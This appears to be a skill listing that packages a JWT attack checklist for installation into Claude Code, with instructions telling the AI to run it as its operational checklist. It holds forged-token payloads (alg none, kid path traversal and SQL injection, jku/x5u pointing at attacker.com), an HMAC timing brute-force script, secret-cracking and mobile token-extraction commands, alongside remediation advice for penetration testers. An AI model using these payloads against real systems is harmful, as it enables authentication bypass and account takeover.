Skillshub offensive-jwt

SKILL: JSON Web Tokens (JWT) Security

install

source · Clone the upstream repo

git clone https://github.com/ComeOnOliver/skillshub

Claude Code · Install into ~/.claude/skills/

T=$(mktemp -d) && git clone --depth=1 https://github.com/ComeOnOliver/skillshub "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/SnailSploit/Claude-Red/offensive-jwt" ~/.claude/skills/comeonoliver-skillshub-offensive-jwt && rm -rf "$T"

manifest: skills/SnailSploit/Claude-Red/offensive-jwt/SKILL.md

source content

SKILL: JSON Web Tokens (JWT) Security

Metadata

Skill Name: jwt-attacks
Folder: offensive-jwt
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/jwt.md

Description

JWT attack checklist: algorithm confusion (none/RS256→HS256), weak secret brute force, kid injection, jku/x5u header injection, JWT header injection, expired token acceptance. Use when testing JWT-based authentication or finding auth bypass via JWT manipulation.

Trigger Phrases

Use this skill when the conversation involves any of:

JWT, JSON Web Token, algorithm confusion, alg none, RS256 HS256, weak secret, kid injection, jku injection, x5u, JWT header injection, JWT attack, token bypass

Instructions for Claude

When this skill is active:

Load and apply the full methodology below as your operational checklist
Follow steps in order unless the user specifies otherwise
For each technique, consider applicability to the current target/context
Track which checklist items have been completed
Suggest next steps based on findings

Full Methodology

JSON Web Tokens (JWT) Security

Shortcut

Mis-Configurations

Adding, removing and modifying claims
- when pen-testing JWT tokens, make sure user can't set the algorithm to
```
none
```
- or is able to switch between
```
RSA
```
  and
```
HMAC
```
Changing the signature algorithm
Removing the signature entirely
Brute-forcing a weak signature key
- or maybe leaking the secret using XXE or SSRF
you can also use JWT Tool

Read Sensitive Information

JWT token should be used for integrity not confidentiality

Header Injection

Instructing the server which key to use when verifying the signature. Harden parsing and outbound fetches for:

```
jwk
```
(inline JWK) — rarely safe to accept from untrusted senders
```
jku
```
/
```
x5u
```
(remote keys) — pin domains, enforce TLS, short TTLs, and
```
kid
```
uniqueness
```
kid
```
(Key ID) — guard against injection (path traversal/SQLi), collisions, and cache poisoning

Same Origin Policy

SOP prevents the malicious script hosted on a.com from reading the HTML data returned from b.com This keeps the malicious script on A from obtaining sensitive information embedded in B.

Mechanisms

JSON Web Tokens (JWT) are an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. JWTs consist of three parts:

Header: Specifies the token type and signing algorithm
Payload: Contains the claims (statements about an entity)
Signature: Verifies the token hasn't been altered

Common signing algorithms:

HS256/HS384/HS512: HMAC + SHA-256/384/512 (symmetric)
RS256/RS384/RS512: RSA + SHA-256/384/512 (asymmetric)
ES256/ES384/ES512: ECDSA + SHA-256/384/512 (asymmetric)
PS256/PS384/PS512: RSASSA-PSS + SHA-256/384/512 (asymmetric)
EdDSA (Ed25519/Ed448): Edwards‑curve Digital Signature Algorithm (asymmetric)
none: Unsigned token (highly insecure)

Additional pitfalls:

JWS/JWE confusion: accepting an encrypted token (JWE) where a signed token (JWS) is required, or failing open when encountering unexpected
```
typ
```
/
```
cty
```
.
JWKS retrieval risks: SSRF via
```
jku
```
/
```
x5u
```
, insecure TLS validation, caching poisoned keys,
```
kid
```
collisions causing wrong key selection.
Token binding: sender‑constrained schemes (DPoP, mTLS) incorrectly implemented allow replay from other clients.

sequenceDiagram
    participant User
    participant Client
    participant Server

    User->>Client: Login with credentials
    Client->>Server: Authentication request
    Server->>Server: Verify credentials
    Server->>Client: JWT token
    Note over Client: Store JWT (prefer http‑only secure cookies or secure storage in native apps)

    User->>Client: Request protected resource
    Client->>Server: Request with JWT in header
    Server->>Server: Validate JWT signature
    Server->>Server: Verify claims (exp, iss, etc.)
    Server->>Client: Protected resource

Hunt

Identify JWT Usage

Check for
```
Authorization: Bearer [token]
```
headers
Look for cookies containing JWT structures
Examine local/session storage in browser
Identify token endpoints or authentication flows

Inspect Token Structure

Decode the token to examine claims (use jwt.io or BurpSuite JWT extension)
Look for sensitive information in payload
Check for unusual header parameters (
```
kid
```
,
```
jku
```
,
```
jwk
```
,
```
x5u
```
, etc.)
Verify algorithm usage in header

Testing for Vulnerabilities

Modify claims and observe application behavior
Test algorithm switching attacks
Check signature verification
Look for token expiration/validation issues
Test for header injection vulnerabilities
Attempt brute force attacks on weak secrets
Probe JWKS endpoints: add duplicate
```
kid
```
, rotate keys to see if old keys still verify; attempt caching or 304-not-modified abuse.
Test
```
x5u
```
/
```
jku
```
DNS rebinding, and misconfigured HTTP client validation.
Try JWS/JWE content-type confusions and unexpected
```
crit
```
header usage.

Vulnerabilities

graph TD
    JWT[JWT Vulnerabilities] --> Algbp[Algorithm Bypass]
    JWT --> WeakKey[Weak Secret Key]
    JWT --> KeyConf[Key Confusion]
    JWT --> KID[Kid Parameter Injection]
    JWT --> JKU[JKU/JWK Header Injection]
    JWT --> Missing[Missing Signature Validation]

    Algbp --> AlgNone["'alg': 'none' Attack"]
    WeakKey --> BruteForce[Brute Force Attack]
    KeyConf --> RSAtoHMAC[RSA to HMAC Confusion]
    KID --> SQLi[SQL Injection via kid]
    KID --> Path[Path Traversal via kid]
    JKU --> FakeJWK[Host Fake JWK]

    style JWT fill:#b7b,stroke:#333,color:#333
    style AlgNone fill:#f55,stroke:#333,color:#333
    style BruteForce fill:#f55,stroke:#333,color:#333
    style RSAtoHMAC fill:#f55,stroke:#333,color:#333
    style SQLi fill:#f55,stroke:#333,color:#333

Algorithm Vulnerabilities

Algorithm None: Some libraries still allow disabling signature validation (
```
alg:"none"
```
) when mis‑configured.
Algorithm Confusion: Servers that mistakenly treat an RSA public key as an HMAC secret when
```
alg
```
is switched to HS*, enabling attacker‑signed tokens.
Key ID Manipulation: Exploiting
```
kid
```
to load wrong keys or inject file/SQL paths; enforce strict lookups and validation

Signature Vulnerabilities

Weak Secrets: Brute-forceable HMAC secrets
Missing Signature Validation: Not verifying signature at all
Broken Signature Validation: Implementation errors in signature checking

Implementation Issues

Missing Claims Validation: Not validating essential claims (
```
exp
```
,
```
nbf
```
,
```
aud
```
)
Insufficient Entropy: Predictable JWT IDs or tokens
Lack of Expiration: Tokens without expiration or with very long lifetimes
Insecure Token Transport: Transmitting tokens over non-HTTPS connections
Debug Information Leakage: Detailed error messages revealing implementation details

Header Injection Attacks

JWK Header Injection: Supplying a custom public key through the
```
jwk
```
header
JKU Manipulation: Pointing the
```
jku
```
(JWK Set URL) to an attacker-controlled location
KID Manipulation: Various attacks including SQL injection, path traversal, or command injection via the
```
kid
```
parameter
x5u Misuse: Loading untrusted X.509 key URLs with lax TLS validation or redirects
JWKS Cache Poisoning: Forcing caches to accept attacker keys via
```
kid
```
collisions or response header tricks

Information Disclosure

Sensitive Data in Payload: PII, credentials, or session details stored unencrypted
Claiming Processing Information: Information about backends or services in claims

Additional Attack Vectors

Mobile App JWT Storage

Android:
- ```
SharedPreferences
```
  : Check if world-readable (
```
MODE_WORLD_READABLE
```
  deprecated but still found)
- Location:
```
/data/data/<package>/shared_prefs/
```
- Keystore extraction: Root device or exploit app, extract keys
- Backup extraction:
```
adb backup -f backup.ab <package>
```
  (if allowBackup=true)
- Tools:
```
Frida
```
  ,
```
objection
```
  ,
```
MobSF
```
  for analysis
iOS:
- Keychain: Check
```
kSecAttrAccessible
```
  attribute
  - ```
  kSecAttrAccessibleAlways
```
  : Accessible even when locked (insecure)
- ```
kSecAttrAccessibleWhenUnlocked
```
    : Better but extractable from backup
- iTunes/iCloud backup extraction: Unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper: Extract all keychain items
- Tools:
```
Frida
```
  ,
```
objection
```
  ,
```
idb
```
  for runtime analysis
React Native / Hybrid Apps:
- ```
AsyncStorage
```
  : Stored in plain text, easily readable
- Location: Android SQLite DB, iOS plist files
- No encryption by default

Testing:

# Android - check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS - extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT

JWT Confusion Attacks

SAML-JWT Confusion: Application accepts both SAML assertions and JWTs
- Bypass SAML signature verification by sending JWT instead
- Or vice versa - send SAML where JWT expected with weaker validation

API Key-JWT Confusion: Endpoint accepts multiple auth methods

# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource

Session Cookie-JWT Hybrid: App accepts either session cookie OR JWT
- Test if session validation is weaker
- Can you use an expired JWT with valid session cookie?
- Or inject JWT claims into session cookie
OAuth Token-JWT Confusion: OAuth access tokens vs ID tokens
- Send ID token (JWT) to resource server expecting opaque access token
- Resource server may not validate properly

Timing Attacks on HMAC

Brute-force via Timing:
- HMAC verification can leak secret character-by-character via timing
- Non-constant-time comparison:
```
if (signature == expected)
```
- Attack: Measure response time for different signature attempts
- Tools: Custom scripts with microsecond precision timing

Exploit:

import requests
import time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api', headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute force first byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())
    # Character with longer response time is likely correct

JWT in URL Parameters

Security Issues:
- Tokens in GET URLs logged in server logs, proxy logs, browser history
- Leaked via
```
Referer
```
  header when navigating to external sites
- Exposed in browser history (F12 Network tab)
- CDN/cache logs may store tokens

Testing:

# Check if API accepts token in URL
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

Exploitation: Search server logs, proxy logs for exposed tokens
- Check Wayback Machine for historical URLs with tokens
- Monitor Referer headers sent to third-party analytics

ETC

PASETO – removes algorithm negotiation entirely and avoids confusion attacks.
Macaroons – bearer tokens that include attenuable, caveat‑based delegation.
DPoP and mTLS – bind tokens to the client to prevent replay; verify proofs on every request and enforce one‑time use semantics for nonces.

Methodologies

Tools

JWT.io: For basic token inspection and debugging
Burp Suite JWT Scanner: Automated testing of JWT implementations
JWT_Tool: Comprehensive testing of JWT vulnerabilities (
```
python3 jwt_tool.py
```
)
jwtXploiter: Advanced JWT vulnerability scanning
JWTear: For tearing apart JWTs and testing vulnerabilities
jwt_killer: Automated token testing with multiple attack vectors
c-jwt-cracker: High-speed brute force for HMAC secrets (C implementation)
Burp Suite: JWT Editor extension, Autorize for auth diffing, Auth Analyzer
jose/jwx libraries (dev): enable strict modes to reproduce edge cases
Mobile Tools: Frida, objection, MobSF (for extracting JWTs from mobile apps)

Manual Testing Steps

Decode and Inspect:

base64url_decode(header).base64url_decode(payload).signature

Test "none" Algorithm:

{"alg":"none","typ":"JWT"}.payload.""
{"alg":"None","typ":"JWT"}.payload.""
{"alg":"NONE","typ":"JWT"}.payload.""
{"alg":"nOnE","typ":"JWT"}.payload.""

Algorithm Confusion:

# Attempt to switch RS256→HS256 and abuse server using RSA public key as HMAC secret (if misconfigured)
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>

Kid Parameter Attacks:

{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}

JWK/JKU Injection:

{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}

x5u / crit Handling:

{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}

Brute Force HMAC Secrets:

python3 jwt_tool.py <token> -C -d wordlist.txt

Testing Missing Validation:
- Remove or modify the expiration claim (
```
exp
```
  )
- Change issuer (
```
iss
```
  ) or audience (
```
aud
```
  )
- Modify token issuance time (
```
iat
```
  ) or not-before time (
```
nbf
```
  )

Automated Testing with JWT_Tool

# Basic token testing
python3 jwt_tool.py <token>

# Scanning for vulnerabilities
python3 jwt_tool.py <token> -M all

# Testing specific vulnerabilities
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # null signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Cracking secrets
python3 jwt_tool.py <token> -C -d wordlist.txt

Remediation Recommendations

Use short‑lived access tokens and rotate refresh tokens frequently.
Always validate
```
aud
```
(audience) and
```
iss
```
(issuer) claims.
Enforce a maximum token length and disable JWE compression unless strictly required.
Ensure the key material loaded for verification matches the
```
alg
```
; reject mismatches.
Reject tokens that include unknown
```
crit
```
header parameters.
Maintain a server‑side deny‑list keyed by
```
jti
```
for early revocation.
For DPoP (
```
typ:"dpop+jwt"
```
) tokens, verify the proof binds to the HTTP request and enforce one‑time use.
Validate JWKS over pinned TLS; disallow remote
```
jku
```
/
```
x5u
```
except for trusted domains; cache keys with short TTL and verify
```
kid
```
uniqueness.
Disable
```
none
```
and prevent algorithm downgrades; pin
```
alg
```
per client and per issuer.
Bind sessions to device when possible; rotate refresh tokens on every use and revoke the previous (refresh token rotation).
Prefer
```
SameSite=Lax/Strict
```
HttpOnly cookies for web to reduce token exfil; avoid localStorage for access tokens.